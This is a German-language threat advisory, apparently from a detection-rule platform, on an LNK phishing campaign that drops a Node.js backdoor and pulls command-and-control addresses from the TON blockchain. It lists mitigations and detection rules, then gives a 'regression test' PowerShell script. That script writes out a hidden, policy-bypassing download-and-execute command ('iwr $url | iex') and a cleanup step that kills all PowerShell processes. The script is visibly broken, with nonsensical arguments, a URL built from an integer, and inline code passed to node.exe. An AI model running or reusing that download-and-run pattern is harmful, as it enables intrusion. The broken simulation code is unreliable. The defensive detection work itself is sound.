LNK-Angriff in mehreren Stufen nutzt TON-Blockchain zur Bereitstellung eines Node.js-Backdoors
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein raffinierter, mehrstufiger Angriff nutzt bösartige LNK-Dateien, die durch Phishing geliefert werden, um eine auf Node.js basierende Hintertür zu installieren. Die Malware verwendet die EtherHiding-Technik, indem sie die TON-Blockchain abfragt, um ihre Command-and-Control-Adressen zu erhalten, was den Betreibern Infrastruktur-Updates erleichtert. Außerdem werden fortschrittliche Umgehungsmethoden eingesetzt, darunter ein benutzerdefinierter Bytecode-Interpreter für virtuelle Maschinen und stark verschleierte PowerShell-Skripte.
Untersuchung
Das LevelBlue Managed Threat Research Team entdeckte die Kampagne durch Sicherheitsalarme im Zusammenhang mit verdächtigen ZIP-Archiven und LNK-Dateien. Analysten entschlüsselten PowerShell-Befehle, die bitweise und arithmetische Logik verwendeten, um bösartige URLs zu rekonstruieren. Sie untersuchten auch einen benutzerdefinierten JavaScript-VM-Interpreter, der zum Ausführen von verschlüsseltem Bytecode verwendet wurde, und verfolgten die Command-and-Control-Retrieval zu Transaktionen auf der TON-Blockchain.
Abschwächung
Organisationen sollten die Ausführung von LNK-Dateien aus nicht vertrauenswürdigen Quellen einschränken und verdächtiges PowerShell-Verhalten überwachen, insbesondere Befehle, die bitweise Logik oder umfangreiche Ganzzahlberechnungen beinhalten. Starke E-Mail-Filterung sollte verwendet werden, um bösartige Links zu blockieren, und Verteidiger sollten auf nicht autorisierte Node.js-Installationen oder -Ausführungen achten. Das Einschränken des Zugriffs auf blockchain-bezogene APIs für ungewöhnliche Prozesse kann ebenfalls die Command-and-Control-Abrufung stören.
Antwort
Wird diese Aktivität erkannt, sollten betroffene Endpunkte isoliert und verdächtige node.exe oder PowerShell-Prozesse sofort beendet werden. Führen Sie Speicherforensik durch, um den entschlüsselten JavaScript-Bytecode wiederherzustellen und die spezifischen Command-and-Control-Domains zu identifizieren, die abgefragt werden. Überprüfen Sie die Registrierungs-Run-Schlüssel auf unbefugte Persistenz und scannen Sie nach von der Malware erstellten Windows Defender-Ausschlüssen.
Angriffsablauf
Erkennungen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansehen
Powershell führt Datei im verdächtigen Verzeichnis mit Umgehungs-Ausführungsrichtlinie aus (via cmdline)
Ansehen
NodeJS-Binärdatei wird von einem ungewöhnlichen Ort ausgeführt (via cmdline)
Ansehen
Verdächtige .NET-Methoden von Powershell aufrufen (via powershell)
Ansehen
Verdächtige Änderungen an Windows Defender-Einstellungen (via powershell)
Ansehen
Mögliches Herunterladen von NodeJs durch verdächtigen Prozess (via dns_query)
Ansehen
Verschleierte PowerShell- und Node.js-Ausführung über LNK-Datei [Windows-Prozesserstellung]
Ansehen
Simulationsexekution
Voraussetzung: Der Telemetrie- und Basislinien-Vorab-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die dazu dient, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffsbeschreibung & Befehle: Der Angreifer zielt darauf ab, eine Hintertür auf dem System zu etablieren. Um die Erkennung zu umgehen, verwenden sie eine LNK-Datei, die einen PowerShell-Befehl ausführt. Anstelle einer klaren URL verwenden sie
-band 255and-shr 8um große Ganzzahlwerte zu manipulieren, die, wenn sie verarbeitet werden, eine URL rekonstruieren, die auf eine bösartige Nutzlast zeigt. Sobald die Nutzlast abgerufen oder inszeniert ist, erzeugt der PowerShell-Prozessnode.exeum die auf JavaScript basierende Hintertür auszuführen, die sich in das legitime Entwickleraktivität auf der Maschine einfügt. -
Regressionstest-Skript:
# Simulation der Verschleierten PowerShell- -> Node.js-Ausführungskette # Dieses Skript imitiert die spezifischen Befehlszeilenargumente, die von der Erkennungsregel erforderlich sind. $jsPayload = "console.log('C2-Verbindung hergestellt');" # Schritt 1: Simulieren Sie die PowerShell-Verschleierungsstufe (wie sie in der Befehlszeile des Prozesses erscheinen würde) # Bei einem echten Angriff wäre dies der Befehl, der durch die LNK-Datei ausgelöst wird. $simulatedPSCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -band 255 -shr 8 -Command `"`$url = [Convert]::ToString([bigint]123456789); iwr `$url | iex`"" # Schritt 2: Simulieren Sie die anschließende Node.js-Ausführung als Teil derselben Kette # Wir verwenden Start-Process, um die Eltern-Kind-Beziehung zu simulieren Start-Process "powershell.exe" -ArgumentList "-NoProfile -Command `"$simulatedPSCommand; node.exe $jsPayload`"" -
Bereinigungskommandos:
# Es wurden keine persistenten Dateien von dieser Simulation erstellt, # aber wir stellen sicher, dass alle erzeugten Node-Prozesse beendet werden. Stop-Process -Name "node" -ErrorAction SilentlyContinue Stop-Process -Name "powershell" -ErrorAction SilentlyContinue